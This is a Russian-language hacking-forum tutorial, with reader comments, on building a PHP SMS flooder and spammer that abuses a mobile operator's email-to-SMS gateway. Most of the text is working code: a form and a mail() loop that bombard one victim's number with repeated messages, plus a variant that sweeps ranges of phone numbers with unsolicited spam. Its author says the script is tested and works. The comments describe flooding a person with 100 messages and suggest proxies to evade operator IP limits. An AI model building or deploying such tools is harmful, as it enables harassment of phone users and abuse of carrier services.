Пишем Sms флудер и спамер Статья расчитана на новичков ачата.Всем привет. Это моя первая статья на ачате, и написать я её решил про SMS флуд и спам. Поискав на форуме, и найдя или нерабочие линки или нерабочие скрипты я решил сам накатать флудер. Жертвой стал российский МЕГАФОН.Возьмём его как пример. ФЛУД Для начала разберёмся, что такое флудер. В моём понимании флудер - это программа или скрипт, которая(ый) отправляет заданному адресату некую информацию в некотором количестве(часто - в очень большом). И так, что нам нужно для написания такого флудера? Да почти ничего: хостинг, с поддержкой PHP мозг + прямые руки умение юзать гугль Для флуда мы будем использовать SMS шлюз данного оператора. SMS-шлюз — интерфейс, который позволяет отправлять и получать смс-сообщения без использования мобильного телефона. SMS-сообщения преобразуются в сообщения электронной почты, HTTP-запросы и обратно. Сообщение, отправляемое через подобный шлюз, может быть бесплатным для отправителя; однако возможны технические ограничения, такие, как ограчинение числа отправляемых с одного компьютера сообщений в сутки. Как понятно из вышеперечисленного продвинутые программеры ничего нового для себя не узнают. Итак, вы выбрали хостинг, со всем разобрались... Создаём страницу index.php следующего содержания: PHP: <?php echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>'; echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Megafon flooder from Inlanger</title> <style type="text/css"> body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 } a:link { text-decoration: none; color : #000000} a:active { text-decoration: none; color : #000000 } a:visited { text-decoration: none; color : #000000} a:hover { text-decoration: none; font-size: 9px; color : #404040 } div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;} .a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;} .v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;} </style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'; echo"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>"; echo"</div><div class=\"v\"> <form action=\"sms.php\" method=\"post\"> Номер:<br /> <input name=\"to\" maxlength=\"11\" value=\"7\" /><br /> Текст сообщения:<br /> <input name=\"msg\" /><br /> Количество:<br /> <input name=\"kol\" /><br /> Задержка в секундах:<br /> <input name=\"zad\" /><br /> <input type=\"submit\" value=\"Поехали...\"> </form> <br/><br/> <br/></div></body></html>"; ?> Как понятно из кода, это будет страница с формой для отправки, ссылающейся на наш скрипт, который будет называться sms.php: PHP: <?php $from="любой почтовый@ящик"; $to=$_POST['to'].'@sms.mgsm.ru'; $msg=$_POST['msg']; for($i = 0; $i < $kol; $i++) { mail("$to", "", "$msg", "From: $from"); sleep($zad); } print" <html> <body> <p align=\"center\"> Your $kol SMS:<br><b> $msg </b> has been sent to $to <br></p> <div align=right>Inlanger</div> </body> </html> "; ?> Начинаем разбирать код. Вначале скрипта мы присваиваем переменные. $from - любой почтовый ящик, от которого будут идти сообщения. $to - адресат, то есть тот, кого мы бум флудить. Значение переменной берётся с формы index.php и слаживается с @sms.mgsm.ru. Что же такое, этот @sms.mgsm.ru? Это SMS шлюз оператора МЕГФОН. $msg - переменная, в которой содержится текст, который будет посылаться. Далее идёт цикл, задача которого и есть отправка нужного количества сообщением с паузой sleep. Функция mail как раз отвечает за переслку почты на шлюз. Теперь о функции sleep. Зачем она нужна? Если мы её не впишем, то сервер не среагирует на нужное количество SMS и вышлет их в количестве 1-2 штук. Вот для того, чтобы сервер успевал реагировать и нужна эта функция. В скобках пишется количество секунд задержки. Эта цифра подбираемся методом перебора различных варинтов. Её значение может зависеть от загруженности шлюза и скорости вашего интернета. Так что тут экспериментируйте. Скрипт проверялся с параметром 7. Проверяем работу скрипта. Заходим на нашу форму, вводим нужные данные и жмём кнопку... Теперь стоит учесть, что скрипт выполняется не сразу, а постепенно, ожидая выставленную вами паузу после отпраки каждого ообщения. СПАМ Что такое спам? Я понимаю спам как массовую рассылку какой-то информации разным людям в разных целях. Что нам нужно для организации спама всё, что было перечисленно для флудера Нужно немного переделать форму отпраки. Приведу только фрагмент: PHP: <form action=\"sms.php\" method=\"post\"> Номер:<br /> <input name=\"to\" maxlength=\"11\" value=\"7\" /><br /> Текст сообщения:<br /> <input name=\"msg\" /><br /> Диапозон номеров:<br /> ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br /> Задержка в секундах:<br /> <input name=\"zad\" /><br /> <input type=\"submit\" value=\"Поехали...\"> </form> И немного модифицированный код sms.php: PHP: <?php $from="любой почтовый@ящик"; $to=$i.'@sms.mgsm.ru'; $msg=$_POST['msg']; for($i = $diapstart; $i <= $diapfinish; $i++) { mail("$to", "", "$msg", "From: $from"); sleep($zad); } ... Думаю, тут всё понятно. Мы двигаемся по заданному диапозону номеров и отсылаем им SMS с заданным интервалом. У данного метода: [+] работает без базы. на лицо экономия средств и трафика [+] в отличие от базы - попадаете и в новичков сети, которых в базах(платных и бесплатных) ещё нет [-] не все отправленые SMS будут доходить по той причине, что таких номеров может не существовать. Но можно подбирать такие диапозоны, чтобы была максимальная вероятность доставки SMS. Что сказать в заключении... Данный материал не призывает вас к действию и имеет ознакомительный характер. Автор статьи я, и при копипасте ссылка сюда обязательна. При небольшом желании и должном умении скрипт модифицируется в спамера или подстраивается под любого другого оператора, с работающим SMS шлюзом.Вот для поиска шлюзов нам и надо было умение гуглить. Для ленивых - большой список шлюзов, и ещё больше . Но это, может быть, будет следующая статья. P.S. Флудер на днях проверлся. Всё прекрасно работает. Если не работает, тут есть несколько вариантов. Один - кривые руки. Второй - ваш хостинг не держит функцию mail. Третий - оператор изменил шлюз или шлюз перегружен. P.P.S. Тут будет список операторов, на котором флудер/спамер работает(проверенные юзерами ачата): МЕГФОН МОТИВ(Екатеринбург)
тестилось всё на сайте фирмы знакомого. скрипта там уже давно нет. так что всё своими силами У меня просьба. Пишите список операторов, на которых это работает. Так как тестировался только мегафон.
если что, скрипт и статью можно добавить работой с прокси, если другие операторы будут выпендриваться с ограничением по IP это я забыл добавить отправителя... уже всё исправил. пробуй.
сразу, у мееня на мотиве, девушка сразу получила я тебя люблю 100 раз, почти за 5 минут, процесс удлиняется только таймаутом, но его можно ставит ьна ноль и все =)
далеко не нова статья... как юзать мейл... мдя.. тем более что не все операторы позволяют так отправлять всем.. например у киевстара по дефолту залоченый прием смс с мыла да и пре желании мона отключить прием смсмс мыла.. так что
дополнил статью примером простого и тупого до безобразия спамера, которому не нужны базы. у кого ничего не пашет - читайте P.s. к статье. может у вашего ОПСОСА давно отключена данная услуга или изменился адрес гейта. и ещё, отправьте сначала с помощью mail функции обычную почту на обычный ящик. вдруг у вас не держит хостинг.